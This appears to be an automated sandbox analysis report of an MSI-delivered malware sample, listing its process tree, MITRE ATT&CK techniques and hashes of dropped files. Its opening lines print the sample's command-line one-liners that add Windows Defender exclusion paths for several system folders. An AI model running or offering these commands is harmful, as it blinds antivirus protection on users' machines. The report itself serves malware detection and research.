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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5572 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵PID:5540
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3224 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵PID:4724
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:4188 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵PID:5084
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:3288 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵PID:3352
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Indicator Removal
1Clear Persistence
1Modify Registry
1System Binary Proxy Execution
1Msiexec
1Replay Monitor
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Downloads
- Path C:\Config.Msi\e59e97d.rbs
- Size 7KB
- SHA256 d9e2b670c7e993643c50fff5438f41bfe78663c8d285393ecf465c4e3009f1a4
- MD5 89a8079faa30a895921d6be52f3dcb82
- SHA1 e20fd47d3f64c861189c2bda41502eec7b320ad7
- SHA512 55f3795bf11dbdc7b5dcb8e9ae5c148b4b5d05c55e0b54de1ed4973998e64843f66cfc347029e276576f64a6257ba16f5b9b8d5a012160a0923a659cf5e2437c
- SSDEEP 96:gjgu0CXZaUU8t1CsThq/U8t1C6j4/xpThqjHsS56TWt8doCKpljXzIjByy:ggC0zuIIVuI3CA1KpK
- TLSH T1E7F13101B31196D2E9911B75CB831B1737F2D3DAA320739B089E80685F573883ED67AB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\xTLyOq\UxEnhance64.dll
- Size 3.1MB
- SHA256 9c18b8f4375d2092af2801121ab17c75e1a660016cd5789a50fca64989004736
- MD5 034570f6c679e60b5919f6a6e7693a75
- SHA1 c114639dc4b15855dcc2cfc541ca46bc04d18895
- SHA512 ba4a8af34afadc447dc3bd55e793de8173b9b592c0d2b0244c30934a610ff03b839da05e7f67027dc9c7cd9f8b6ac80aa4393c6121be1574b54c192c126f384b
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+v:P9m29xx3Tiqt06ox6+z2rNNrKov
- TLSH T156E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\xTLyOq\adoresd.dat
- Size 4.7MB
- SHA256 b4c3d34b3edee339d0d07a3c382ab8d8579bd4ebf2aba509d84415b30e01cfbf
- MD5 6d457193287b15d46d91dd68f8e97bda
- SHA1 e77955b28f38cf9a6aba50f11249b65641a83bd7
- SHA512 89a9141f15de7489a65e5e3c495cc2d84dd32baa869d8e02fbe32496bd036f266fb2f510c037e67c62cc21d009e5ecfd2e1583a20696db2a796f664f34ea0f8a
- SSDEEP 98304:umu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:1u1SwOflfZPF6Ma0bsoa5+qd
- TLSH T1B43633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\xTLyOq\ajryHR.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\xTLyOq\msadox.tb
- Size 8KB
- SHA256 890ba0633b9db8e12659e6899a4915411f1986dd7291146d5e578bfdac2a71d6
- MD5 62750ee89ef8951755b812a204c26b78
- SHA1 bbb113e48c5ae4013d7ca7a57337d4de52635c31
- SHA512 afd6be00b0aa038f5e575db729d8652fa095e27556b3d8c0b8a6d654630dbe6494183ec70d828ba6713d31cd0b87617877420e2bb9224a2ad502c0e9ba251cc4
- SSDEEP 192:lqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:lsZqZOXQ3uqvR2Kfzp
- TLSH T115029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSIF014.tmp
- Size 6.9MB
- SHA256 7bdb75a8474b9b9090a2ca8f71a30631969dad0815c9c73b5f17956b7ca420a7
- MD5 dfa85c7a55a88560ed1c343ff0867f42
- SHA1 13bab8a2e898179c9a2734e8cc0b58dc43657a6e
- SHA512 56af3fb2c8eb1c65c8c02743cc30a0dff118e7bcdcc4ae65f23fdee2c8b9f3a4b1bdff1364748bcdea5b0bbc2b4ab8a7eab4864714861d28af7307ff47e5c4c9
- SSDEEP 196608:19SQZyxOY+4WXJTJlK9bU7YeJnjC1MGErDs/:sxOYcX5Jlkg0e9VGt
- TLSH T18E7633EA7CC632B5D1CFD731424759AD3C397FD7B93A5C2E7B8826001EA241ABA31644
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e59e97c.msi
- Size 6.9MB
- SHA256 285cbbc3e0845a47bdab345b54e6c3506c4f074f7002ba8ed48b117eb868de4e
- MD5 560c0ec6c63fe8b0e1b7d2768c527022
- SHA1 8d981989ea3f9707f1569e13a54ab6ddbc17444e
- SHA512 8caebced3bb18a8c917729e0d479caf2a22493e9016e0d983784818ffc5a67f178df47e84fdf757c635b4c3fdd538d8f7662f09240f202ef765c93a991eda7cf
- SSDEEP 196608:29SQZyxOY+4WXJTJlK9bU7beJnjC1MGErDsF:pxOYcX5Jlkg3e9VGL
- TLSH T1737633DABCC62775D18BD731420759AD3C3D7F96BA3A5C2F7B8836001E7251ABA31680
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 26.1MB
- SHA256 8b9bf7720dc9ba3f475ab326785ccfb27d752bb353647c56cb4aa2b037a7dc1e
- MD5 6ed8980644083548d2c1af9b384fc1a8
- SHA1 067b3b897a2100f4ec8aa5a79a5c6f1ed31d39d5
- SHA512 38a68762ea6fba1a7bbb6bef9a7fb7c63cb7d6190ed01dc0879fb2ff3cca9ac683662c9e0031a7621fe30e23d892cd5a1db6921e0018631c613d4466ce179a83
- SSDEEP 24576:sFo3DMP0doO/vvTL/yAjDilQP7eJY7Eg0+1xNudb1WtqJESTsIRmD6pin+n:dHk
- TLSH T12E57B31436F92200E7B79E3DB8F06A234D397D5BAC15DE8D45511B8E0822F71E872F6A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{c61fa831-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{62e5670a-ac9c-4109-943e-95711deb81dc}_OnDiskSnapshotProp
- Size 6KB
- SHA256 639cb901d93d20dc520f242b9678df702a9b2f06fe27259a32d822de989a4f9f
- MD5 8d80dcb9620aaf672c2ff399eace062d
- SHA1 ec77e982d09b5e66b0eb418cc9fa64b3711d21be
- SHA512 469a12d11277b2efd6aa3fd2615a46ca1348f0522b85a03ad4c1190c3127f05f0a25c61bab671a8a8204ea48c7b0c89052363775255945e9272b09325a0d9049
- SSDEEP 96:FAIxb6vc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpu:mIgb++uVm
- TLSH T183D188085AF54711E2B3AB3228F14557A877B911EF33CB8E0198238E6671A10F935F6F
- MD5 SHA1 SHA512 SSDEEP TLSH